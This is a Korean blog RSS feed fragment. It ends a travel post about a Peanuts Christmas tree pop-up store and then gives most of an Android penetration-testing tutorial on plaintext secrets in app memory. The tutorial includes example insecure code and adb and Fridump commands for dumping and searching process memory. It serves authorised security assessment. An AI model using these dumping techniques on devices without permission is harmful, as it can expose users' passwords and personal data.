&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;제이닷 트리 팝업 예약 방법과 요금&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;예약 방법&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;네이버 예약&lt;/b&gt;: 사전 예약 필수&lt;/li&gt;
&lt;li&gt;&lt;b&gt;현장 구매&lt;/b&gt;: 가능하지만, 혼잡을 피하기 위해 온라인 예약을 추천합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;요금&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;성인&lt;/b&gt;: 10,000원 (3,000원 굿즈샵 할인 쿠폰 포함)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;미취학 아동&lt;/b&gt;: 무료&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;팝업 스토어 방문 꿀팁&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;방문 시간&lt;/b&gt;: 저녁 시간대에 방문하면 조명이 더욱 아름다워 사진이 잘 나옵니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;준비물&lt;/b&gt;: 따뜻한 옷과 카메라 또는 스마트폰&lt;/li&gt;
&lt;li&gt;&lt;b&gt;혼잡 시간대 피하기&lt;/b&gt;: 평일 오후나 주말 오전을 추천합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;제이닷 트리 팝업 스토어 후기와 추천 이유&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;방문객들은 제이닷 트리 팝업 스토어를 &quot;작지만 알찬 공간&quot;으로 평가하며, 특히 스누피와 함께하는 포토존의 매력을 극찬하고 있습니다. 가족, 친구, 연인과 함께 방문하기 좋은 이유는 다양한 포토존과 따뜻한 메시지가 담긴 전시 때문입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;지금 바로 제이닷 트리 팝업 스토어를 방문해보세요!&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;참고자료&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.instagram.com/j_dot_tree/&quot;&gt;instagram&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.naver.com/54fany/223660922461&quot;&gt;피너츠x제이닷트리-크리스마스-팝업-예약,-주차,-후기&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://korean.visitkorea.or.kr/detail/fes_detail.do?cotid=f922fd97-1d45-4e2d-85cc-37d444c43055&quot;&gt;제이닷-트리-팝업&amp;gt;-공연/행사-:대한민국-구석구석&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Travel/당일치기</category>
      <category>제이닷 트리 팝업</category>
      <category>크리스마스</category>
      <category>크리스마스트리</category>
      <category>트리 팝업</category>
      <category>피너츠</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/291</guid>
      <comments>https://gomguk.tistory.com/291#entry291comment</comments>
      <pubDate>Thu, 28 Nov 2024 05:30:51 +0900</pubDate>
    </item>
    <item>
      <title>[안드로이드 모의해킹] 메모리 내 중요정보 평문 노출</title>
      <link>https://gomguk.tistory.com/287</link>
      <description>&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&lt;b&gt;직접 연구하여 작성한 자료입니다. 공식 출처가 명시되지 않은 자료의 무단 복제, 사용을 금지합니다.&lt;br /&gt;공격 기법은 학습용, 허가된 환경에서 실습 바랍니다. 실 운영망 대상 공격은 처벌받습니다. (정보통신망법 제48조 1항)&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&lt;b&gt;개요&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안드로이드 앱은 실행 시 사용할 메모리 영역을 할당받는다&lt;span&gt;. &lt;/span&gt;메모리에는 앱의 실행 코드와 사용할 자원&lt;span&gt;(&lt;/span&gt;함수&lt;span&gt;, &lt;/span&gt;변수&lt;span&gt;, &lt;/span&gt;리소스 등&lt;span&gt;)&lt;/span&gt;이 저장된다&lt;span&gt;. &lt;/span&gt;안드로이드 런타임은&lt;span&gt; '&lt;/span&gt;페이징&lt;span&gt;'&lt;/span&gt;과&lt;span&gt; '&lt;/span&gt;메모리 매핑&lt;span&gt;'&lt;/span&gt;을 이용해서 메모리를 관리한다&lt;span&gt;. &lt;/span&gt;메모리 자원을 관리하기 위해 자바에서는 동적으로 할당했던 메모리 영역 중 사용하지 않는 메모리를 주기적으로 삭제하는 가비지 컬렉션&lt;span&gt;(Garbage Collection, GC)&lt;/span&gt;을 수행한다&lt;span&gt;. &lt;/span&gt;운영체제 수준에서 메모리를 관리하기 때문에 개발자는 기능 개발에 집중할 수 있다&lt;span&gt;. &lt;/span&gt;하지만 앱에서 메모리를 할당하고 해제하는 시점과 위치를 예상할 수 없고 시스템에서 판단하기 때문에 메모리에 사용하지 않는 데이터가 계속해서 남아있을 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 앱을 닫더라도 앱의 프로세스는 종료되지 않고 캐시에 저장된다&lt;span&gt;. &lt;/span&gt;또는 백그라운드에서 동작하는 앱은 화면이 표시되지 않는 상태에서도 실행을 유지할 수 있도록 메모리가 관리된다&lt;span&gt;. &lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱에서 사용하는 메모리는 앱의 화면 표시 여부에 관계 없이 앱의 생명주기에 따라 관리된다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; width=&quot;100%&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #4472c4;&quot;&gt;더 알아보기&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;프로세스와 앱의 생명주기에 관한 설명은 공식문서를 참고한다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;a href=&quot;https://developer.android.com/guide/components/activities/process-lifecycle?hl=ko&quot;&gt;https://developer.android.com/guide/components/activities/process-lifecycle?hl=ko&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱에서 사용된 변수는 메모리에 저장되며&lt;span&gt;, &lt;/span&gt;저장된 정보는 앱의 다양한 상태 변화에 따라 관리된다&lt;span&gt;. &lt;/span&gt;대부분의 정적 데이터는 프로세스 메모리에 매핑되어&lt;span&gt;, &lt;/span&gt;이를 통해 데이터를 프로세스 간에 공유할 수 있고 필요할 때 메모리 공간을 확보할 수 있다&lt;span&gt;. &lt;/span&gt;정적 데이터의 예시로는 달빅 코드&lt;span&gt;, &lt;/span&gt;앱 리소스&lt;span&gt;, &lt;/span&gt;네이티브 코드 파일&lt;span&gt;(.so) &lt;/span&gt;등이 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자바의 정적 변수&lt;span&gt;(static variable)&lt;/span&gt;는 클래스 수준에서 선언되며&lt;span&gt;, &lt;/span&gt;클래스 인스턴스의 생성 여부와 관계없이 하나의 복사본이 존재한다&lt;span&gt;. &lt;/span&gt;앱이 실행되는 동안 이 변수들은 계속해서 메모리에 남아 있으며&lt;span&gt;, &lt;/span&gt;해당 클래스에 접근 가능한 위치와 관계없이 사용할 수 있다&lt;span&gt;. &lt;/span&gt;만약 민감 정보가 정적 변수에 저장되는 경우&lt;span&gt;, &lt;/span&gt;해당 정보는 앱 실행 동안 메모리에 남아 있게 된다&lt;span&gt;. &lt;/span&gt;디버깅 도구를 통한 앱의 메모리 덤프 또는 스냅샷 생성 시 포함될 수 있다&lt;span&gt;. &lt;/span&gt;스냅샷은 현재의 메모리 상태를 사진을 찍듯이 그대로 복사해오는 기능으로&lt;span&gt;, &lt;/span&gt;자원의 할당 상태나 데이터 처리 과정에서의 메모리 구조를 포함한 복사본을 제공한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1732626799210&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public class StaticReferenceLeakActivity extends AppCompatActivity {
    /*  
     * 정적으로 선언된 textView, activity 
     */
    private static TextView textView;
    private static Activity activity;
    @Override
    protected void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_first);
        
        textView = findViewById(R.id.activity_text);
        textView.setText(&quot;민감정보 예시&quot;);
        
        activity = this;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정적으로 선언된 변수나 액티비티는 한번이라도 직접 또는 간접적으로 참조되면 액티비티가 종료된 이후에도 가비지 콜렉터에서 사용하지 않는 메모리를 회수하지 않을 수 있다&lt;span&gt;. &lt;/span&gt;또한 최적화되지 않은 외부 라이브러리를 사용도 문제를 일으킬 수 있는데&lt;span&gt;, &lt;/span&gt;특히 모바일 환경을 예상하지 않고 작성된 코드일 경우가 해당된다&lt;span&gt;. C&lt;/span&gt;나&lt;span&gt; C++&lt;/span&gt;로 개발된 외부 라이브러리&lt;span&gt;, &lt;/span&gt;즉&lt;span&gt; NDK&lt;/span&gt;를 사용하는 경우 개발자가 직접 메모리 관리 함수를 사용하여 직접 메모리를 할당하고 사용해야 한다&lt;span&gt;. &lt;/span&gt;다음은&lt;span&gt; JNI&lt;/span&gt;를 사용하여 자바에서&lt;span&gt; C&lt;/span&gt;로 데이터를 전달하고&lt;span&gt;, C &lt;/span&gt;라이브러리에서 해당 데이터를 처리한 후 결과를 다시 자바로 변환하는 과정을 보여준다&lt;span&gt;. &lt;/span&gt;메모리 관리에 주의하며 예제를 살펴본다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1732626815996&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;JNIEXPORT void JNICALL Java_com_example_MyClass_storeSensitiveData(JNIEnv *env, jobject obj, jstring j_name, jstring j_password) {
    struct SensitiveData {
        char name[64];
        char password[64];
    } data;
    // 자바에서 전달받은 문자열을 C 문자열로 변환
    const char *name = (*env)-&amp;gt;GetStringUTFChars(env, j_name, 0);
    const char *password = (*env)-&amp;gt;GetStringUTFChars(env, j_password, 0);
    // 문자열을 구조체에 복사
    strncpy(data.name, name, sizeof(data.name));
    strncpy(data.password, password, sizeof(data.password));
    // 데이터 처리 또는 다른 작업 수행
    // 데이터를 사용 후 초기화
    memset(&amp;amp;data, 0, sizeof(data));
    // 문자열 메모리를 해제
    (*env)-&amp;gt;ReleaseStringUTFChars(env, j_name, name);
    (*env)-&amp;gt;ReleaseStringUTFChars(env, j_password, password);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;C&lt;/span&gt;언어에서는&lt;span&gt; malloc()&lt;/span&gt;함수와&lt;span&gt; free()&lt;/span&gt;함수를 사용하여 메모리를 할당하고 해제할 수 있다&lt;span&gt;. &lt;/span&gt;이 두 함수는 &lt;span&gt;C&lt;/span&gt;언어 메모리 관리에 핵심적인 역할을 수행한다&lt;span&gt;. malloc()&lt;/span&gt;함수는 필요한 메모리 크기를 인자로 받아 해당 크기의 메모리를 동적으로 할당하며&lt;span&gt;, free()&lt;/span&gt;함수는 &lt;span&gt;malloc()&lt;/span&gt;을 통해 할당된 메모리를 해제하는 데 사용한다&lt;span&gt;. &lt;/span&gt;예제 코드에서 구조체를 선언하고&lt;span&gt;, malloc()&lt;/span&gt;함수를 사용하여 메모리를 할당한다&lt;span&gt;. &lt;/span&gt;데이터 사용이 끝난 이후에는 &lt;span&gt;memset()&lt;/span&gt;함수를 사용하여 구조체를 초기화한다&lt;span&gt;. memset()&lt;/span&gt;함수는 메모리 블록 내의 내용을 특정 값으로 설정하는 데 사용되며&lt;span&gt;, &lt;/span&gt;이를 통해 데이터를 초기화할 수 있다&lt;span&gt;. &lt;/span&gt;마지막으로&lt;span&gt;, free()&lt;/span&gt;함수를 이용하여 할당된 메모리를 해제한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안드로이드 앱에서 사용자가 텍스트 입력 폼에 정보를 입력할 때&lt;span&gt;, &lt;/span&gt;입력 내용은 키보드 캐시에 저장되어 자동 완성 제안이나 예측 기능을 제공할 수 있다&lt;span&gt;. &lt;/span&gt;이는 사용자 편의에 도움을 주지만 비밀번호나 개인정보와 같은 민감 정보가 키보드 캐시를 통해 다른 앱으로 유출될 수 있는지 여부를 확인해야 한다&lt;span&gt;. &lt;/span&gt;액티비티의 레이아웃 파일에서 민감 정보를 입력 받는 폼 속성에 일반 텍스트&lt;span&gt;(text)&lt;/span&gt;로 지정되어 있는 경우 사용자가 입력했을 때 키보드 캐시에 값이 저장된다&lt;span&gt;. &lt;/span&gt;이는 보안상 문제가 될 수 있으며&lt;span&gt;, &lt;/span&gt;민감한 정보를 입력 받는 필드에 대해서는 키보드 캐시에 저장되지 않도록 설정해야 한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1732626833829&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;
&amp;lt;LinearLayout
    xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;
    xmlns:app=&quot;http://schemas.android.com/apk/res-auto&quot;&amp;gt;
     &amp;lt;EditText
        android:id=&quot;@+id/KeyBoardCache&quot;
       &amp;lt;!-- 민감정보 입력 폼의 타입 변경 --&amp;gt;
        android:inputType=&quot;text&quot; /&amp;gt;
&amp;lt;/LinearLayout&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;진단방법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;루팅된 단말에서는 사용자 또는 앱이 시스템 레벨에서 메모리에 접근할 수 있다&lt;span&gt;. &lt;/span&gt;루트 사용자는 메모리에 저장된 모든 데이터에 접근이 가능하기 때문에 민감한 정보가 평문으로 저장된 경우 유출될 수 있다&lt;span&gt;. adb&lt;/span&gt;를 이용하여 단말의 메모리를 덤프하여 스냅샷을 기록할 수 있다&lt;span&gt;. &lt;/span&gt;메모리 스냅샷의 결과에서 평문으로 저장된 민감정보가 있는지 여부를 확인한다&lt;span&gt;. &lt;/span&gt;다음의 명령어를 사용한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;br /&gt;&lt;b&gt;adb 쉘 접속&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;PC &amp;gt; adb shell &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;메모리 덤프를 위해 프로세스 id(Process ID, PID)를 확인&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;ADB # ps | grep [패키지명]&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;lsquo;dumpheap&amp;rsquo; 명령으로 프로세스 메모리 덤프&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;ADB # ps | am dumpheap [PID] /data/local/tmp/memory_dump.hprof&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;메모리 덤프 결과 내 문자열만 추출하기 위해 strings 명령 사용&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;ADB # cd /data/local/tmp&lt;br /&gt;&lt;br /&gt;ADB # chmod 777 memory_dump.hprof&lt;br /&gt;&lt;br /&gt;ADB # strings memory_dump.hprof &amp;gt; memory_dump.txt&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;덤프 결과를 PC로 복사&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;PC &amp;gt; adb pull /data/local/tmp/memory_dump.txt C:\android&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단말의 파일을&lt;span&gt; PC&lt;/span&gt;로 가져오는&lt;span&gt; 'adb pull' &lt;/span&gt;명령어를 사용한다&lt;span&gt;. PC&lt;/span&gt;에 덤프 파일이 저장되었으므로 파일 편집기를 사용하여 분석하고 민감정보가 평문으로 저장된 부분이 있는지 확인할 수 있다&lt;span&gt;. &lt;/span&gt;앱에서 사용하는 메모리 영역 전체를 덤프한 결과이므로 파일의 크기가 크고 많은 양의 데이터가 존재할 수 있다&lt;span&gt;. &lt;/span&gt;파일 전체에 대한 전수조사는 어렵기 때문에 앱 내에서 사용자가 입력하거나 처리하고 있는 민감정보를 직접 검색하거나&lt;span&gt;, &lt;/span&gt;정규표현식&lt;span&gt;(regular expression, regex) &lt;/span&gt;등을 사용하여 규칙을 가진 문자열을 찾을 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진단 시 주의사항으로는 앱의 기능을 충분히 사용한 후에 메모리를 확인하도록 한다&lt;span&gt;. &lt;/span&gt;사용자의 입력 또는 앱 내에서 처리되는 데이터가 메모리 영역에 저장되기 위해서는 기능의 사용이 필수적이며&lt;span&gt;, &lt;/span&gt;단순히 파일 시스템에 저장된 데이터는 기능을 사용하지 않는 경우 앱 사용중에도 메모리에 저장하지 않을 수 있다&lt;span&gt;. &lt;/span&gt;기능 사용 시 메모리 할당&lt;span&gt;, &lt;/span&gt;해제에서 발생하는 취약점이므로 기능 사용 전후로 여러번 덤프를 실행해볼 수 있다&lt;span&gt;. &lt;/span&gt;취약점 발견 사례는 사용자 계정정보 입력&lt;span&gt;, &lt;/span&gt;앱&lt;span&gt; 2&lt;/span&gt;차 비밀번호 입력&lt;span&gt;, &lt;/span&gt;네트워크 전송을 위한 버퍼 데이터 준비 관련 기능 등에서 발생한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #bfbfbf;&quot; width=&quot;94&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;취약여부&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf;&quot; width=&quot;507&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;설명&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;94&quot;&gt;&lt;span&gt;취약&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;507&quot;&gt;&lt;span&gt;메모리 영역 내 단말 또는 사용자 민감정보가 평문으로 노출되고 있는 경우&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;94&quot;&gt;&lt;span&gt;양호&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;507&quot;&gt;&lt;span&gt;메모리 영역에 단말 또는 사용자 민감정보가 평문으로 노출되지 않는 경우&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Fridump&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프리덤프는 프리다 프레임워크를 사용하는 오픈 소스 메모리 덤프 도구이다&lt;span&gt;. &lt;/span&gt;프리다가 지원하는 다양한 운영체제에서 실행되는 바이너리의 접근 가능한 메모리를 덤프할 수 있는 기능을 제공한다&lt;span&gt;. 4.11 &lt;/span&gt;절에서 다루었던 &lt;span&gt;&amp;lsquo;&lt;/span&gt;메모리 내 중요정보 평문 노출 취약점&lt;span&gt;&amp;rsquo;&lt;/span&gt;을 프리덤프를 이용하여 동일하게 확인할 수 있다&lt;span&gt;. &lt;/span&gt;제작자의 깃허브 페이지&lt;span&gt;(&lt;a href=&quot;https://github.com/rootbsd/fridump3)&quot;&gt;https://github.com/rootbsd/fridump3)&lt;/a&gt;&lt;/span&gt;에서 다운로드 받을 수 있으며 파이썬 스크립트로 제공하고 있어 별도의 설치 과정 없이 실행만으로 결과를 확인할 수 있다&lt;span&gt;. &lt;/span&gt;실행할 파이썬 파일&lt;span&gt;(fridump3.py)&lt;/span&gt;은 &lt;span&gt;200&lt;/span&gt;줄이 되지 않으니 직접 스크립트를 분석을 하는 것도 권장한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;877&quot; data-origin-height=&quot;554&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7lzkn/btsKXIUe5BU/L7ciOjJBJWO6ZboWWwM85K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7lzkn/btsKXIUe5BU/L7ciOjJBJWO6ZboWWwM85K/img.png&quot; data-alt=&quot;프리덤프 깃허브 페이지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7lzkn/btsKXIUe5BU/L7ciOjJBJWO6ZboWWwM85K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7lzkn%2FbtsKXIUe5BU%2FL7ciOjJBJWO6ZboWWwM85K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;664&quot; height=&quot;419&quot; data-origin-width=&quot;877&quot; data-origin-height=&quot;554&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;프리덤프 깃허브 페이지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분석할 앱 프로세스 식별자&lt;span&gt;(PID) &lt;/span&gt;확인&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;PC &amp;gt;&lt;i&gt; frida-ps -Uai&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;783&quot; data-origin-height=&quot;689&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6VR4f/btsKX5BEXTq/SkKEFovchX3T0MSSwIOX0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6VR4f/btsKX5BEXTq/SkKEFovchX3T0MSSwIOX0K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6VR4f/btsKX5BEXTq/SkKEFovchX3T0MSSwIOX0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6VR4f%2FbtsKX5BEXTq%2FSkKEFovchX3T0MSSwIOX0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;448&quot; height=&quot;394&quot; data-origin-width=&quot;783&quot; data-origin-height=&quot;689&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프리덤프를 이용한 메모리 덤프&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;PC &amp;gt; &lt;i&gt;python fridump3.py -u -r [PID] -s&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
